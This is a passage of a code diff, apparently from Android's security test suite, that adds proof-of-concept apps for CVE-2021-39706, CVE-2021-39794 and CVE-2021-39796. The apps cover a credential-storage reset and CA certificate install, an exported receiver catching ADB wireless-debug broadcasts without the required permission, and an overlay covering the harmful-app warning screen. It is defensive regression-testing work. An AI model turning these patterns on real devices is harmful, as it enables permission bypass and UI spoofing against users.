+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39706;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import android.view.View;
+import android.widget.Button;
+
+import androidx.test.InstrumentationRegistry;
+
+public class PocActivity extends Activity {
+
+ public static boolean checkIsCar() {
+ Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ PackageManager pm = context.getPackageManager();
+ return pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+ }
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_main);
+ Button button = (Button) findViewById(R.id.button);
+ button.setOnClickListener(new View.OnClickListener() {
+ @Override
+ public void onClick(View view) {
+ credentialStorageReset();
+ }
+ });
+ }
+
+ private void credentialStorageReset() {
+ boolean isCar = checkIsCar();
+ Intent intent = new Intent("com.android.credentials.RESET");
+ String pkg = isCar ? getResources().getString(R.string.settingsPkgCar)
+ : getResources().getString(R.string.settingsPkg);
+ String cls = isCar ? getResources().getString(R.string.certClsCar)
+ : getResources().getString(R.string.certCls);
+ intent.setClassName(pkg, cls);
+ try {
+ startActivity(intent);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocDeviceAdminReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocDeviceAdminReceiver.java
new file mode 100644
index 0000000..4c413c2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocDeviceAdminReceiver.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39706;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+public class PocDeviceAdminReceiver extends DeviceAdminReceiver {
+
+ @Override
+ public void onEnabled(Context context, Intent intent) {
+ super.onEnabled(context, intent);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocPolicyManager.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocPolicyManager.java
new file mode 100644
index 0000000..76a5a94
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/PocPolicyManager.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39706;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+
+public class PocPolicyManager {
+ private Context mContext;
+ private DevicePolicyManager mDevicePolicyManager;
+ private ComponentName mComponentName;
+
+ public PocPolicyManager(Context context) {
+ this.mContext = context;
+ mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
+ mComponentName = new ComponentName(PocDeviceAdminReceiver.class.getPackage().getName(),
+ PocDeviceAdminReceiver.class.getName());
+ }
+
+ public boolean installCaCert(byte[] cert) {
+ return mDevicePolicyManager.installCaCert(mComponentName, cert);
+ }
+
+ public boolean hasCaCertInstalled(byte[] cert) {
+ return mDevicePolicyManager.hasCaCertInstalled(mComponentName, cert);
+ }
+
+ public void uninstallCaCert(byte[] cert) {
+ mDevicePolicyManager.uninstallCaCert(mComponentName, cert);
+ }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/Android.bp
similarity index 64%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/Android.bp
index bcbf54f..dbf8b37 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -19,8 +19,19 @@
default_applicable_licenses: ["Android-Apache-2.0"],
}
-cc_test {
- name: "CVE-2020-29368",
- defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp",],
+android_test_helper_app {
+ name: "CVE-2021-39794-receiver",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ ],
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/AndroidManifest.xml
new file mode 100644
index 0000000..8464275
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/AndroidManifest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_39794_receiver"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <uses-sdk android:targetSdkVersion="25"/>
+ <application
+ android:label="CVE-2021-39794-receiver"
+ android:supportsRtl="true">
+ <activity
+ android:name=".PocActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ <receiver android:name=".PocReceiver"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="com.android.server.adb.WIRELESS_DEBUG_STATUS" />
+ <action android:name="com.android.server.adb.WIRELESS_DEBUG_PAIRED_DEVICES" />
+ <action android:name="com.android.server.adb.WIRELESS_DEBUG_PAIRING_RESULT" />
+ </intent-filter>
+ </receiver>
+ </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/res/layout/activity_main.xml
new file mode 100644
index 0000000..a85bec9
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/res/layout/activity_main.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <View
+ android:id="@+id/drawableview"
+ android:layout_width="match_parent"
+ android:layout_height="300dp" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocActivity.java
new file mode 100644
index 0000000..c62e464
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocActivity.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39794_receiver;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_main);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocReceiver.java
new file mode 100644
index 0000000..ebad4ed
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocReceiver.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39794_receiver;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+public class PocReceiver extends BroadcastReceiver {
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ // If PocReceiver is able to receive AdbManager broadcasts
+ // without having MANAGE_DEBUGGING permission, this indicates
+ // that vulnerability exists. Transfer control back to
+ // the test app and make the CTS fail in PocTestActivity
+ try {
+ Intent i = new Intent();
+ i.setClassName("android.security.cts.CVE_2021_39794_test",
+ "android.security.cts.CVE_2021_39794_test.PocTestActivity");
+ i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(i);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/Android.bp
similarity index 63%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/Android.bp
index bcbf54f..0ddc4fa 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -19,8 +19,20 @@
default_applicable_licenses: ["Android-Apache-2.0"],
}
-cc_test {
- name: "CVE-2020-29368",
- defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp",],
+android_test_helper_app {
+ name: "CVE-2021-39794-test",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ ],
+ certificate: "platform",
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/AndroidManifest.xml
new file mode 100644
index 0000000..8ae6025
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_39794_test"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <uses-permission android:name="android.permission.MANAGE_DEBUGGING"/>
+ <application
+ android:label="CVE-2021-39794-test"
+ android:supportsRtl="true">
+ <activity
+ android:name=".PocTestActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ </application>
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_39794_test" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/DeviceTest.java
new file mode 100644
index 0000000..d918b06
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/DeviceTest.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39794_test;
+
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+
+import android.content.Context;
+import android.debug.IAdbManager;
+import android.os.IBinder;
+import android.os.RemoteException;
+import android.os.ServiceManager;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ private static final int MAX_WAIT_TIME_MS = 10000;
+
+ @Test
+ public void testCVE_2021_39794() {
+ IBinder binder = ServiceManager.getService(Context.ADB_SERVICE);
+ assumeNotNull(binder);
+ IAdbManager manager = IAdbManager.Stub.asInterface(binder);
+ assumeNotNull(manager);
+ try {
+ manager.enablePairingByPairingCode();
+ } catch (RemoteException e) {
+ assumeNoException(e);
+ }
+
+ // Wait for receiver app to get the broadcast
+ try {
+ Thread.sleep(MAX_WAIT_TIME_MS);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/PocTestActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/PocTestActivity.java
new file mode 100644
index 0000000..6c11b9a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/PocTestActivity.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39794_test;
+
+import static org.junit.Assert.fail;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class PocTestActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ fail("Vulnerable to b/205836329 !!");
+ }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/Android.bp
similarity index 60%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-39796/Android.bp
index bcbf54f..9ba76d0 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -19,8 +19,21 @@
default_applicable_licenses: ["Android-Apache-2.0"],
}
-cc_test {
- name: "CVE-2020-29368",
- defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp",],
+android_test_helper_app {
+ name: "CVE-2021-39796",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ ],
+ sdk_version: "current",
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/AndroidManifest.xml
new file mode 100644
index 0000000..9ef9763
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/AndroidManifest.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ package="android.security.cts.CVE_2021_39796"
+ android:versionCode="1"
+ android:versionName="1.0">
+
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+ <application
+ android:allowBackup="true"
+ android:label="CVE_2021_39796"
+ android:supportsRtl="true">
+ <service android:name=".PocService"
+ android:enabled="true"
+ android:exported="true" />
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_39796" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/Android.bp
similarity index 64%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/Android.bp
index bcbf54f..d669e9f 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -19,8 +19,19 @@
default_applicable_licenses: ["Android-Apache-2.0"],
}
-cc_test {
- name: "CVE-2020-29368",
- defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp",],
+android_test_helper_app {
+ name: "CVE-2021-39796-harmful",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ ],
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/AndroidManifest.xml
new file mode 100644
index 0000000..52f2fd2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_39796_harmful"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <application
+ android:label="CVE-2021-39796-harmful"
+ android:supportsRtl="true">
+ <activity
+ android:name=".PocActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/res/layout/activity_main.xml
new file mode 100644
index 0000000..bb5d570
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/res/layout/activity_main.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <View
+ android:id="@+id/drawableview"
+ android:layout_width="match_parent"
+ android:layout_height="300dp" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/src/android/security/cts/CVE_2021_39796_harmful/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/src/android/security/cts/CVE_2021_39796_harmful/PocActivity.java
new file mode 100644
index 0000000..3ca3645
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/src/android/security/cts/CVE_2021_39796_harmful/PocActivity.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39796_harmful;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_main);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/res/values/strings.xml
new file mode 100644
index 0000000..c16cd74
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/res/values/strings.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<resources>
+ <string name="activityNotFoundMsg">The activity with intent was not found : </string>
+ <string name="activityNotStartedException">Unable to start the activity with intent : </string>
+ <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string>
+ <string name="dumpsysActivity">dumpsys activity</string>
+ <string name="dumpsysActivityNotStartedException">Could not execute dumpsys activity
+ command</string>
+ <string name="errorMessage">Device is vulnerable to b/205595291 hence any app with
+ SYSTEM_ALERT_WINDOW can overlay the HarmfulAppWarningActivity screen</string>
+ <string name="harmfulActivity">android/com.android.internal.app.HarmfulAppWarningActivity
+ </string>
+ <string name="mResumedTrue">mResumed=true</string>
+ <string name="overlayAttack">overlayattack</string>
+ <string name="overlayButtonText">OverlayButton</string>
+ <string name="overlayServiceNotStartedException">Unable to start the overlay service</string>
+ <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
+ <string name="testPkg">android.security.cts.CVE_2021_39796</string>
+ <string name="vulActivityNotRunningError">The HarmfulAppWarningActivity is not currently
+ running on the device</string>
+ <string name="vulnerablePkg">android.security.cts.CVE_2021_39796_harmful</string>
+ <string name="vulnerableActivity">android.security.cts.CVE_2021_39796_harmful.PocActivity
+ </string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/DeviceTest.java
new file mode 100644
index 0000000..20fccde
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/DeviceTest.java
@@ -0,0 +1,121 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39796;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
